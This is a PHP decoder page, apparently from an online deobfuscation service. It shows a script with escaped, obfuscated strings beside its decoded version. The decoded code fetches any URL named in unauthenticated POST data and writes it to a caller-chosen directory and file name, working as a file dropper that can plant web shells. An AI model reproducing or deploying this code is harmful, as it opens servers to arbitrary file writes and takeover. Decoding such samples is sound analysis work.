Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if ($_SERVER["\122\105\x51\125\x45\123\124\x5f\x4d\x45\124\110\x4f\104"] === "\120\..
Decoded Output download
<?php
if ($_SERVER["REQUEST_METHOD"] === "POST") {
$download_link = filter_var($_POST["download_link"], FILTER_SANITIZE_URL);
$fileName = $_POST["fileName"];
$destinationDirectory = $_POST["destinationDirectory"];
$speedLimit = filter_var($_POST["speedLimit"], FILTER_VALIDATE_INT);
$ch = curl_init($download_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_MAX_RECV_SPEED_LARGE, $speedLimit);
$startTime = microtime(true);
$response = curl_exec($ch);
$timeTaken = round(microtime(true) - $startTime, 2);
if (curl_errno($ch)) {
$result = "cURL error: " . curl_error($ch);
curl_close($ch);
echo $result;
} else {
$filePath = $destinationDirectory . "/" . $fileName;
file_put_contents($filePath, $response);
$downloadSpeed = round(filesize($filePath) / 1024 / 1024 / $timeTaken, 2);
$fileSize = filesize($filePath);
$details = ["speed" => $downloadSpeed, "size" => $fileSize, "time" => $timeTaken];
$result = json_encode($details);
curl_close($ch);
echo $result;
}
} else {
echo "Invalid request.";
} ?>
Did this file decode correctly?
Original Code
<?php
if ($_SERVER["\122\105\x51\125\x45\123\124\x5f\x4d\x45\124\110\x4f\104"] === "\120\x4f\x53\124") {
$download_link = filter_var($_POST["\x64\157\x77\x6e\x6c\x6f\x61\x64\137\154\151\156\153"], FILTER_SANITIZE_URL);
$fileName = $_POST["\146\x69\x6c\145\x4e\141\x6d\x65"];
$destinationDirectory = $_POST["\x64\x65\163\164\x69\156\141\x74\151\x6f\x6e\104\151\x72\145\x63\164\x6f\x72\171"];
$speedLimit = filter_var($_POST["\x73\x70\145\145\x64\x4c\x69\x6d\151\x74"], FILTER_VALIDATE_INT);
$ch = curl_init($download_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_MAX_RECV_SPEED_LARGE, $speedLimit);
$startTime = microtime(true);
$response = curl_exec($ch);
$timeTaken = round(microtime(true) - $startTime, 2);
if (curl_errno($ch)) {
$result = "\x63\125\x52\114\x20\145\162\162\157\x72\72\40" . curl_error($ch);
curl_close($ch);
echo $result;
} else {
$filePath = $destinationDirectory . "\x2f" . $fileName;
file_put_contents($filePath, $response);
$downloadSpeed = round(filesize($filePath) / 1024 / 1024 / $timeTaken, 2);
$fileSize = filesize($filePath);
$details = ["\163\x70\x65\x65\x64" => $downloadSpeed, "\x73\151\172\x65" => $fileSize, "\x74\x69\x6d\145" => $timeTaken];
$result = json_encode($details);
curl_close($ch);
echo $result;
}
} else {
echo "\111\x6e\166\x61\x6c\x69\x64\x20\162\145\161\165\x65\x73\164\56";
}
Function Calls
None |
Stats
MD5 | d23c7af60f670bf075c76650bf8527e7 |
Eval Count | 0 |
Decode Time | 58 ms |